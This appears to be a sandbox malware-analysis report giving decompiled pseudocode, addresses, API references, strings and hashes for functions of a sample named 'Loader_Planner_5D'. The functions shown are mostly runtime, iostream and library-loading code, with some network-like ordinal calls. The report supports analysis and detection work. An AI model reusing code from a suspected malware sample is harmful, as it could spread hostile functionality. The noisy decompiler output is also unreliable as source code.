				_t235 = _t280[8];
				goto 0x106453fb;
				if (E00007FF77FF710647428(_t235, _t237, _t237, _t313, _t281) != 0) goto 0x10645498;
				E00007FF77FF71064321C(_t237,  *((intOrPtr*)(_t284 + 0x78)), _t281, _t282, _t280, _t282 - 0x78);
				_t177 =  *((intOrPtr*)(_t282 + 0x98));
				 *(_t284 + 0x50) = _t177;
				_t178 = _t177 | 0xffffffff;
				 *((long long*)(_t284 + 0x48)) = _t281;
				 *(_t284 + 0x40) = _t313;
				 *(_t284 + 0x38) = _t178;
				 *(_t284 + 0x30) = _t178;
				 *(_t284 + 0x28) = _t280;
				 *(_t284 + 0x20) = _t313;
				E00007FF77FF7106435B8( *((intOrPtr*)(_t284 + 0x78)), _t237,  *((intOrPtr*)(_t284 + 0x68)), _t235);
				goto 0x10645498;
				if (_t280[3] <= 0) goto 0x10645498;
				if ( *((char*)(_t282 + 0x98)) != 0) goto 0x1064550b;
				 *(_t284 + 0x38) = _t307;
				 *(_t284 + 0x30) =  *(_t282 + 0xa0);
				 *(_t284 + 0x28) = r14d;
				 *(_t284 + 0x20) = _t280;
				E00007FF77FF710645A10(_t237, _t237,  *((intOrPtr*)(_t284 + 0x78)), _t313, _t281);
				_t173 = E00007FF77FF710644570(_t235);
				if ( *((long long*)(_t235 + 0x38)) != 0) goto 0x1064550b;
				return E00007FF77FF710641DF0(_t173, _t178,  *(_t282 + 0x10) ^ _t284);
			}

0x7ff71064503c
0x7ff710645049
0x7ff71064504e
0x7ff710645055
0x7ff71064505c
0x7ff71064505f
0x7ff710645063
0x7ff71064506d
0x7ff710645077
0x7ff71064507c
0x7ff71064507f
0x7ff71064508a
0x7ff710645091
0x7ff710645096
0x7ff710645099
0x7ff71064509e
0x7ff7106450a4
0x7ff7106450ad
0x7ff7106450b9
0x7ff7106450c3
0x7ff7106450d4
0x7ff7106450df
0x7ff7106450e5
0x7ff7106450ef
0x7ff7106450f5
0x7ff7106450fa
0x7ff7106450fe
0x7ff710645107
0x7ff710645110
0x7ff710645115
0x7ff710645120
0x7ff710645126
0x7ff710645133
0x7ff71064513a
0x7ff710645140
0x7ff71064514a
0x7ff71064514c
0x7ff710645155
0x7ff710645160
0x7ff71064516c
0x7ff710645178
0x7ff71064517e
0x7ff71064518c
0x7ff710645190
0x7ff71064519a
0x7ff7106451a4
0x7ff7106451b5
0x7ff7106451bb
0x7ff7106451c2
0x7ff7106451d2
0x7ff7106451dd
0x7ff7106451e2
0x7ff7106451e5
0x7ff7106451ea
0x7ff7106451ee
0x7ff7106451f3
0x7ff7106451f8
0x7ff7106451ff
0x7ff710645205
0x7ff710645209
0x7ff71064520d
0x7ff71064521c
0x7ff71064522b
0x7ff710645235
0x7ff710645238
0x7ff71064523c
0x7ff710645243
0x7ff71064524d
0x7ff710645254
0x7ff71064525a
0x7ff710645260
0x7ff710645268
0x7ff71064526c
0x7ff710645273
0x7ff710645280
0x7ff710645284
0x7ff71064528c
0x7ff71064528f
0x7ff7106452a0
0x7ff7106452a3
0x7ff7106452a8
0x7ff7106452b5
0x7ff7106452b8
0x7ff7106452be
0x7ff7106452c0
0x7ff7106452db
0x7ff7106452e6
0x7ff7106452ec
0x7ff7106452f2
0x7ff7106452f4
0x7ff7106452fa
0x7ff7106452fc
0x7ff710645302
0x7ff710645308
0x7ff710645326
0x7ff71064532e
0x7ff710645336
0x7ff710645341
0x7ff710645349
0x7ff710645352
0x7ff71064535b
0x7ff710645360
0x7ff710645365
0x7ff71064536a
0x7ff710645371
0x7ff71064537c
0x7ff71064537f
0x7ff710645386
0x7ff710645398
0x7ff71064539e
0x7ff7106453a2
0x7ff7106453a4
0x7ff7106453b0
0x7ff7106453ba
0x7ff7106453cd
0x7ff7106453db
0x7ff7106453e5
0x7ff7106453e7
0x7ff7106453ef
0x7ff7106453f6
0x7ff710645405
0x7ff710645418
0x7ff71064541d
0x7ff71064542e
0x7ff710645432
0x7ff710645435
0x7ff71064543a
0x7ff71064543f
0x7ff710645443
0x7ff71064544a
0x7ff71064544f
0x7ff710645454
0x7ff710645459
0x7ff71064545f
0x7ff710645468
0x7ff710645477
0x7ff71064547f
0x7ff710645486
0x7ff71064548e
0x7ff710645493
0x7ff710645498
0x7ff7106454a2
0x7ff7106454c3

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF710645099

Part of subcall function 00007FF710647390: __GetUnwindTryBlock.LIBCMT ref: 00007FF7106473D3
Part of subcall function 00007FF710647390: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7106473F8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF710645171
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7106453C6
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7106454D2

Strings

csm, xrefs: 00007FF71064511A
csm, xrefs: 00007FF710645194
csm, xrefs: 00007FF7106450B3

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 466375ae39c09b07bd05e1ba42cd851fe10d06f7323d321d03248e9a574a2aed
Instruction ID: 82bb879cde1eb5ef245b4a2bc0c8b5b0b375c7411375e1887250bb7cad7112ce
Opcode Fuzzy Hash: 466375ae39c09b07bd05e1ba42cd851fe10d06f7323d321d03248e9a574a2aed
Instruction Fuzzy Hash: 40E19472A08F418AEB20EF65D4412ADB7A2FB45BA8F904135DE4D97B56DF38F488C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063AA60 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF71063AA60(intOrPtr __edx, long long __rbx, long long __rcx, long long __rsi, long long _a24, long long _a32) {
				void* _v40;
				signed int _v48;
				char _v52;
				char _v56;
				long long _v64;
				char _v72;
				char _v128;
				long long _v136;
				long long _v144;
				char _v152;
				void* _v160;
				intOrPtr _v164;
				signed int _v168;
				intOrPtr _v176;
				char _v184;
				void* _t82;
				intOrPtr _t84;
				void* _t87;
				void* _t91;
				void* _t95;
				void* _t126;
				signed long long _t140;
				intOrPtr _t144;
				intOrPtr _t145;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr _t151;
				intOrPtr* _t153;
				intOrPtr* _t161;
				intOrPtr* _t162;
				intOrPtr* _t166;
				void* _t182;
				intOrPtr* _t185;
				intOrPtr* _t195;
				void* _t198;
				void* _t199;
				void* _t204;
				signed int _t206;
				long long _t207;
				intOrPtr* _t208;
				intOrPtr _t209;
				signed long long _t210;

				_t196 = __rsi;
				_a24 = __rbx;
				_a32 = __rsi;
				_t200 = _t199 - 0xb0;
				_t140 =  *0x10689010; // 0xafe3859a1ce3
				_v48 = _t140 ^ _t199 - 0x000000b0;
				_v164 = __edx;
				_t161 = __rcx;
				_v160 = __rcx;
				_v168 = 0;
				_v136 = __rcx;
				_t166 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx)) + 4)) + __rcx + 0x48));
				if (_t166 == 0) goto 0x1063aabd;
				 *((intOrPtr*)( *_t166 + 8))();
				_t144 =  *((intOrPtr*)( *((intOrPtr*)(__rcx)) + 4));
				if ( *((intOrPtr*)(_t144 + __rcx + 0x10)) == 0) goto 0x1063aacf;
				goto 0x1063aaf9;
				_t145 =  *((intOrPtr*)(_t144 + __rcx + 0x50));
				if (_t145 == 0) goto 0x1063aaf7;
				if (_t145 == __rcx) goto 0x1063aaf7;
				E00007FF77FF71062C2B0(__rcx, _t145, __rsi);
				goto 0x1063aaf9;
				_v128 = 1;
				if (1 == 0) goto 0x1063acb6;
				_t208 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx)) + 4)) + __rcx + 0x40)) + 8));
				_v144 = _t208;
				_t149 =  *_t208;
				_t82 = E00007FF77FF7106617CC( *((intOrPtr*)(_t149 + 8))(), 0,  &_v52);
				_t207 =  *0x1068c318; // 0x24621489cc0
				_v72 = _t207;
				_t209 =  *0x1068c368; // 0x2
				if (_t209 != 0) goto 0x1063ab8f;
				E00007FF77FF7106617CC(_t82, 0,  &_v56);
				_t126 =  *0x1068c368 - _t209; // 0x2
				if (_t126 != 0) goto 0x1063ab7b;
				_t84 =  *0x1068be60; // 0x5
				 *0x1068be60 = _t84 + 1;
				 *0x1068c368 = _t149;
				_t87 = E00007FF77FF710661844(_t149,  &_v56);
				_t210 =  *0x1068c368; // 0x2
				_t206 = _t210 * 8;
				if (_t210 -  *((intOrPtr*)(_t208 + 0x18)) >= 0) goto 0x1063abaa;
				_t150 =  *((intOrPtr*)(_t208 + 0x10));
				if ( *((intOrPtr*)(_t206 + _t150)) != 0) goto 0x1063ac17;
				if ( *((char*)(_t208 + 0x24)) == 0) goto 0x1063abc4;
				E00007FF77FF710661E98(_t87);
				if (_t210 -  *((intOrPtr*)(_t150 + 0x18)) >= 0) goto 0x1063abc9;
				_t151 =  *((intOrPtr*)(_t150 + 0x10));
				if ( *((intOrPtr*)(_t206 + _t151)) != 0) goto 0x1063ac17;
				if (_t207 == 0) goto 0x1063abd3;
				goto 0x1063ac17;
				E00007FF77FF71063D430(_t151, _t161,  &_v72,  &_v152, _t196);
				if (_t151 == 0xffffffff) goto 0x1063ad37;
				_t195 = _v72;
				_v72 = _t195;
				E00007FF77FF710661E60(_t151, _t195);
				_t91 =  *((intOrPtr*)( *_t195 + 8))();
				 *0x1068c318 = _t195;
				E00007FF77FF710661844(_t91,  &_v52);
				_t153 =  *_t208;
				 *((intOrPtr*)(_t153 + 0x10))();
				if (_t153 == 0) goto 0x1063ac40;
				 *((intOrPtr*)( *_t153))();
				_t204 =  *((intOrPtr*)( *_t161 + 4)) + _t161;
				_v72 = 0;
				_v64 =  *((intOrPtr*)(_t204 + 0x48));
				asm("movaps xmm0, [esp+0x90]");
				asm("movdqa [esp+0x40], xmm0");
				_t100 = _v164;
				_v176 = _v164;
				_v184 =  *(_t204 + 0x58) & 0x000000ff;
				_t95 =  *((intOrPtr*)( *_t195 + 0x48))();
				_t116 =  !=  ? 4 : 0;
				_v168 =  !=  ? 4 : 0;
				_t162 = _v160;
				_t182 =  *((intOrPtr*)( *_t162 + 4)) + _t162;
				_t108 =  !=  ? 0 : 4;
				_t109 = ( !=  ? 0 : 4) | _v168 |  *(_t182 + 0x10);
				_t110 = (( !=  ? 0 : 4) | _v168 |  *(_t182 + 0x10)) & 0x00000017;
				 *(_t182 + 0x10) = 4;
				_t111 = (( !=  ? 0 : 4) | _v168 |  *(_t182 + 0x10)) & 0x00000017 &  *(_t182 + 0x14);
				if ( *((long long*)(_t182 + 0x48)) != 0) goto 0x1063ad3d;
				if (E00007FF77FF710661CFC(_t95, (( !=  ? 0 : 4) | _v168 |  *(_t182 + 0x10)) & 0x00000017 &  *(_t182 + 0x14), _t162, _t182, _t198) != 0) goto 0x1063acef;
				E00007FF77FF71062C4F0(_t162);
				_t185 =  *((intOrPtr*)( *((intOrPtr*)( *_t162 + 4)) + _t162 + 0x48));
				if (_t185 == 0) goto 0x1063ad07;
				return E00007FF77FF710641DF0( *((intOrPtr*)( *_t185 + 0x10))(), _t100, _v48 ^ _t200);
			}

0x7ff71063aa60
0x7ff71063aa60
0x7ff71063aa65
0x7ff71063aa73
0x7ff71063aa7a
0x7ff71063aa84
0x7ff71063aa8c
0x7ff71063aa90
0x7ff71063aa93
0x7ff71063aa9c
0x7ff71063aaa0
0x7ff71063aaac
0x7ff71063aab4
0x7ff71063aab9
0x7ff71063aac0
0x7ff71063aac9
0x7ff71063aacd
0x7ff71063aacf
0x7ff71063aad7
0x7ff71063aadc
0x7ff71063aae1
0x7ff71063aaf5
0x7ff71063aaf9
0x7ff71063aaff
0x7ff71063ab0e
0x7ff71063ab12
0x7ff71063ab17
0x7ff71063ab2b
0x7ff71063ab31
0x7ff71063ab38
0x7ff71063ab40
0x7ff71063ab4a
0x7ff71063ab56
0x7ff71063ab5b
0x7ff71063ab62
0x7ff71063ab64
0x7ff71063ab6c
0x7ff71063ab74
0x7ff71063ab83
0x7ff71063ab88
0x7ff71063ab8f
0x7ff71063ab9b
0x7ff71063ab9d
0x7ff71063aba8
0x7ff71063abaf
0x7ff71063abb1
0x7ff71063abba
0x7ff71063abbc
0x7ff71063abc7
0x7ff71063abcc
0x7ff71063abd1
0x7ff71063abe0
0x7ff71063abe9
0x7ff71063abef
0x7ff71063abf7
0x7ff71063ac02
0x7ff71063ac0d
0x7ff71063ac10
0x7ff71063ac1f
0x7ff71063ac25
0x7ff71063ac2b
0x7ff71063ac34
0x7ff71063ac3e
0x7ff71063ac47
0x7ff71063ac53
0x7ff71063ac5b
0x7ff71063ac66
0x7ff71063ac6e
0x7ff71063ac74
0x7ff71063ac78
0x7ff71063ac7c
0x7ff71063ac90
0x7ff71063aca0
0x7ff71063aca3
0x7ff71063acb1
0x7ff71063acc2
0x7ff71063accd
0x7ff71063acd0
0x7ff71063acd2
0x7ff71063acd5
0x7ff71063acd8
0x7ff71063acdb
0x7ff71063ace4
0x7ff71063ace9
0x7ff71063acf6
0x7ff71063acfe
0x7ff71063ad36

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71063AB2B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71063AB56
std::_Facet_Register.LIBCPMT ref: 00007FF71063AC02

Strings

ios_base::badbit set, xrefs: 00007FF71063AD42
ios_base::failbit set, xrefs: 00007FF71063AD4E
ios_base::eofbit set, xrefs: 00007FF71063AD55

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$LockitLockit::_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3778811486-1866435925
Opcode ID: b3ade86b2e123662f2b6b9654ad5bf2df25bf12fc954b51b7d7f3649c3f665cd
Instruction ID: 9df2256cd5afe7c83afc38c49bed7bc692bddf589f20ae7f1294acd91d84391b
Opcode Fuzzy Hash: b3ade86b2e123662f2b6b9654ad5bf2df25bf12fc954b51b7d7f3649c3f665cd
Instruction Fuzzy Hash: DE919D32A08F8586EB10EB15E4803AEB7A2FB85BA4F844136DA4D477A5DF3CE449C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710652558 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF710652558(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				void* _t37;
				signed long long _t57;
				intOrPtr _t61;
				signed long long _t72;
				void* _t75;
				signed long long _t76;
				long long _t82;
				void* _t86;
				signed long long _t90;
				signed long long _t91;
				WCHAR* _t93;
				long _t96;
				void* _t99;
				WCHAR* _t104;

				 *((long long*)(_t86 + 8)) = __rbx;
				 *((long long*)(_t86 + 0x10)) = _t82;
				 *((long long*)(_t86 + 0x18)) = __rsi;
				r15d = __ecx;
				_t90 =  *0x10689010; // 0xafe3859a1ce3
				_t76 = _t75 | 0xffffffff;
				_t72 = _t90 ^  *(0x7ff710620000 + 0x6bb60 + _t104 * 8);
				asm("dec eax");
				if (_t72 == _t76) goto 0x1065269e;
				if (_t72 == 0) goto 0x106525c1;
				_t57 = _t72;
				goto 0x106526a0;
				if (__r8 == __r9) goto 0x10652683;
				_t61 =  *((intOrPtr*)(0x7ff710620000 + 0x6bac0 + __rsi * 8));
				if (_t61 == 0) goto 0x106525e8;
				if (_t61 != _t76) goto 0x106526dd;
				goto 0x1065266f;
				r8d = 0x800;
				LoadLibraryExW(_t104, _t99, _t96);
				if (_t57 != 0) goto 0x106526bd;
				if (GetLastError() != 0x57) goto 0x1065265d;
				_t14 = _t57 - 0x50; // -80
				_t37 = _t14;
				r8d = _t37;
				if (E00007FF77FF710650300(_t90) == 0) goto 0x1065265d;
				r8d = _t37;
				if (E00007FF77FF710650300(_t90) == 0) goto 0x1065265d;
				r8d = 0;
				LoadLibraryExW(_t93, _t75);
				if (_t57 != 0) goto 0x106526bd;
				 *((intOrPtr*)(0x7ff710620000 + 0x6bac0 + __rsi * 8)) = _t76;
				if (__r8 + 4 != __r9) goto 0x106525ca;
				_t91 =  *0x10689010; // 0xafe3859a1ce3
				asm("dec eax");
				 *(0x7ff710620000 + 0x6bb60 + _t104 * 8) = _t76 ^ _t91;
				return 0;
			}

0x7ff710652558
0x7ff71065255d
0x7ff710652562
0x7ff710652574
0x7ff71065258f
0x7ff710652596
0x7ff7106525a0
0x7ff7106525a8
0x7ff7106525ae
0x7ff7106525b7
0x7ff7106525b9
0x7ff7106525bc
0x7ff7106525c4
0x7ff7106525cd
0x7ff7106525d8
0x7ff7106525dd
0x7ff7106525e3
0x7ff7106525f5
0x7ff7106525fb
0x7ff710652607
0x7ff710652616
0x7ff710652618
0x7ff710652618
0x7ff71065261e
0x7ff71065262f
0x7ff710652631
0x7ff710652645
0x7ff710652647
0x7ff71065264f
0x7ff71065265b
0x7ff710652667
0x7ff710652676
0x7ff71065267c
0x7ff710652690
0x7ff710652696
0x7ff7106526bc

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF710652C64,?,?,?,?,00007FF710650F99,?,?,?,?,00007FF7106617E0), ref: 00007FF7106526D7
GetProcAddress.KERNEL32(?,?,?,00007FF710652C64,?,?,?,?,00007FF710650F99,?,?,?,?,00007FF7106617E0), ref: 00007FF7106526E3

Strings

ext-ms-, xrefs: 00007FF710652634
api-ms-, xrefs: 00007FF710652621

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 86cbc7c4fbe04578f296322fbd0d961112a4d0cb8891f98689ea5754fada7e50
Instruction ID: 4ebcec150c93baef424b1693d251b18c01bcf12781d70952a0daaf4d30531082
Opcode Fuzzy Hash: 86cbc7c4fbe04578f296322fbd0d961112a4d0cb8891f98689ea5754fada7e50
Instruction Fuzzy Hash: CF41E571B19E0382FA15AB1698142B5A3A3BF46BF0F884135ED1D87798EF3CF4498360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710639350 Relevance: 12.1, APIs: 8, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00007FF77FF710639350(void* __ecx, void* __edx, void* __rax, void* __rcx, long long __rdx, long long __r8, intOrPtr* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t79;
				signed long long _t124;
				signed long long _t125;
				char* _t145;
				intOrPtr _t189;
				intOrPtr _t192;
				intOrPtr _t195;
				intOrPtr _t198;
				intOrPtr _t201;
				intOrPtr _t207;
				intOrPtr _t210;
				intOrPtr _t213;
				intOrPtr _t216;
				char* _t219;
				char* _t220;
				void* _t221;
				void* _t222;
				signed long long _t223;
				void* _t233;
				void* _t234;
				void* _t235;
				long long _t236;

				_t221 = _t222 - 0x1008;
				E00007FF77FF710663340(0x1108, __rax, _t233, _t234);
				_t223 = _t222 - __rax;
				_t124 =  *0x10689010; // 0xafe3859a1ce3
				_t125 = _t124 ^ _t223;
				 *(_t221 + 0xff0) = _t125;
				_t220 = __r8;
				_t145 = __rdx;
				 *((long long*)(_t221 - 0x38)) = __rdx;
				 *((long long*)(_t221 - 0x30)) = __r8;
				 *((long long*)(_t221 - 0x28)) = __r9;
				_t219 =  *((intOrPtr*)(_t221 + 0x1070));
				 *((long long*)(_t221 - 0x20)) = _t219;
				r13d = 0;
				r12d = r13d;
				if ( *((intOrPtr*)(__rdx + 0x10)) == _t235) goto 0x10639654;
				E00007FF77FF71063CD80(__rdx, _t221 - 0x58, __r9, _t219, _t221, __r8);
				if ( *((long long*)(_t145 + 0x18)) - 0x10 < 0) goto 0x106393d0;
				E00007FF77FF7106291C0(_t145, _t125, _t220,  *((intOrPtr*)(_t145 + 0x10)));
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x40], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [esp+0x50], xmm1");
				asm("movups xmm0, [eax]");
				asm("movups [esp+0x40], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esp+0x50], xmm1");
				 *((long long*)(_t125 + 0x10)) = _t236;
				 *((long long*)(_t125 + 0x18)) = 0xf;
				 *_t125 = 0;
				r8d = 3;
				E00007FF77FF7106291C0(_t145, _t223 + 0x40, _t220,  *((intOrPtr*)(_t145 + 0x10)));
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x20], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [esp+0x30], xmm1");
				asm("movups xmm0, [eax]");
				asm("movups [esp+0x20], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esp+0x30], xmm1");
				 *((long long*)(_t125 + 0x10)) = _t236;
				 *((long long*)(_t125 + 0x18)) = 0xf;
				 *_t125 = 0;
				if ( *((long long*)(_t219 + 0x18)) - 0x10 < 0) goto 0x10639462;
				E00007FF77FF7106291C0(_t145, _t223 + 0x20, _t220,  *((intOrPtr*)(_t219 + 0x10)));
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x78], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebp-0x68], xmm1");
				 *((long long*)(_t125 + 0x10)) = _t236;
				 *((long long*)(_t125 + 0x18)) = 0xf;
				 *_t125 = 0;
				E00007FF77FF710633540(__ecx, _t145, _t223 + 0x68, _t221 - 0x78,  *((intOrPtr*)(_t219 + 0x10)));
				E00007FF77FF71062F0C0(_t145, _t145, _t125);
				_t189 =  *((intOrPtr*)(_t221 - 0x80));
				if (_t189 - 0x10 < 0) goto 0x106394e3;
				if (_t189 + 1 - 0x1000 < 0) goto 0x106394de;
				if ( *((intOrPtr*)(_t223 + 0x68)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x68)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106397a7;
				E00007FF77FF710641E10( *((intOrPtr*)(_t223 + 0x68)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x68)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x68)) - 8)));
				asm("movdqa xmm0, [0x452a5]");
				asm("movdqu [esp+0x78], xmm0");
				 *((char*)(_t223 + 0x68)) = 0;
				_t192 =  *((intOrPtr*)(_t221 - 0x60));
				if (_t192 - 0x10 < 0) goto 0x10639532;
				if (_t192 + 1 - 0x1000 < 0) goto 0x1063952c;
				if ( *((intOrPtr*)(_t221 - 0x78)) -  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x78)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106397ad;
				E00007FF77FF710641E10( *((intOrPtr*)(_t221 - 0x78)) -  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x78)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x78)) - 8)));
				_t195 =  *((intOrPtr*)(_t223 + 0x38));
				if (_t195 - 0x10 < 0) goto 0x1063956f;
				if (_t195 + 1 - 0x1000 < 0) goto 0x1063956a;
				if ( *((intOrPtr*)(_t223 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x20)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106397b3;
				E00007FF77FF710641E10( *((intOrPtr*)(_t223 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x20)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x20)) - 8)));
				asm("movdqa xmm0, [0x45219]");
				asm("movdqu [esp+0x30], xmm0");
				 *((char*)(_t223 + 0x20)) = 0;
				_t198 =  *((intOrPtr*)(_t223 + 0x58));
				if (_t198 - 0x10 < 0) goto 0x106395bf;
				if (_t198 + 1 - 0x1000 < 0) goto 0x106395ba;
				if ( *((intOrPtr*)(_t223 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x40)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106397b9;
				E00007FF77FF710641E10( *((intOrPtr*)(_t223 + 0x40)) -  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x40)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t223 + 0x40)) - 8)));
				asm("movdqa xmm0, [0x451c9]");
				asm("movdqu [esp+0x50], xmm0");
				 *((char*)(_t223 + 0x40)) = 0;
				_t201 =  *((intOrPtr*)(_t221 - 0x40));
				if (_t201 - 0x10 < 0) goto 0x1063960d;
				if (_t201 + 1 - 0x1000 < 0) goto 0x10639608;
				if ( *((intOrPtr*)(_t221 - 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x58)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106397bf;
				_t79 = E00007FF77FF710641E10( *((intOrPtr*)(_t221 - 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x58)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x58)) - 8)));
				if ( *((long long*)(_t145 + 0x18)) - 0x10 < 0) goto 0x1063961a;
				r9d = 0;
				r8d =  *((intOrPtr*)(_t145 + 0x10));
				__imp__#19();
				if (_t79 <= 0) goto 0x10639654;
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t79 <= 0) goto 0x10639654;
				r12d = E00007FF77FF71064D640( *((intOrPtr*)(_t221 - 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t221 - 0x58)) - 8)) + 0xfffffff8, _t145, _t221 - 0x10, _t219, _t220,  *((intOrPtr*)(_t219 + 0x10)), _t233);
				_t207 =  *((intOrPtr*)(_t145 + 0x18));
				if (_t207 - 0x10 < 0) goto 0x1063968e;
				if (_t207 + 1 - 0x1000 < 0) goto 0x10639689;
				if ( *_t145 -  *((intOrPtr*)( *_t145 - 8)) - 8 - 0x1f > 0) goto 0x106397c5;
				E00007FF77FF710641E10( *_t145 -  *((intOrPtr*)( *_t145 - 8)) - 8,  *((intOrPtr*)( *_t145 - 8)));
				 *((long long*)(_t145 + 0x10)) = _t236;
				 *((long long*)(_t145 + 0x18)) = 0xf;
				 *_t145 = 0;
				_t210 =  *((intOrPtr*)(_t220 + 0x18));
				if (_t210 - 0x10 < 0) goto 0x106396d7;
				if (_t210 + 1 - 0x1000 < 0) goto 0x106396d2;
				if ( *_t220 -  *((intOrPtr*)( *_t220 - 8)) - 8 - 0x1f > 0) goto 0x106397cb;
				E00007FF77FF710641E10( *_t220 -  *((intOrPtr*)( *_t220 - 8)) - 8,  *((intOrPtr*)( *_t220 - 8)));
				 *((long long*)(_t220 + 0x10)) = _t236;
				 *((long long*)(_t220 + 0x18)) = 0xf;
				 *_t220 = 0;
				_t213 =  *((intOrPtr*)(__r9 + 0x18));
				if (_t213 - 0x10 < 0) goto 0x10639720;
				if (_t213 + 1 - 0x1000 < 0) goto 0x1063971b;
				if ( *__r9 -  *((intOrPtr*)( *__r9 - 8)) - 8 - 0x1f > 0) goto 0x1063979b;
				E00007FF77FF710641E10( *__r9 -  *((intOrPtr*)( *__r9 - 8)) - 8,  *((intOrPtr*)( *__r9 - 8)));
				 *((long long*)(__r9 + 0x10)) = _t236;
				 *((long long*)(__r9 + 0x18)) = 0xf;
				 *((char*)(__r9)) = 0;
				_t216 =  *((intOrPtr*)(_t219 + 0x18));
				if (_t216 - 0x10 < 0) goto 0x10639766;
				if (_t216 + 1 - 0x1000 < 0) goto 0x10639761;
				if ( *_t219 -  *((intOrPtr*)( *_t219 - 8)) - 8 - 0x1f > 0) goto 0x106397a1;
				E00007FF77FF710641E10( *_t219 -  *((intOrPtr*)( *_t219 - 8)) - 8,  *((intOrPtr*)( *_t219 - 8)));
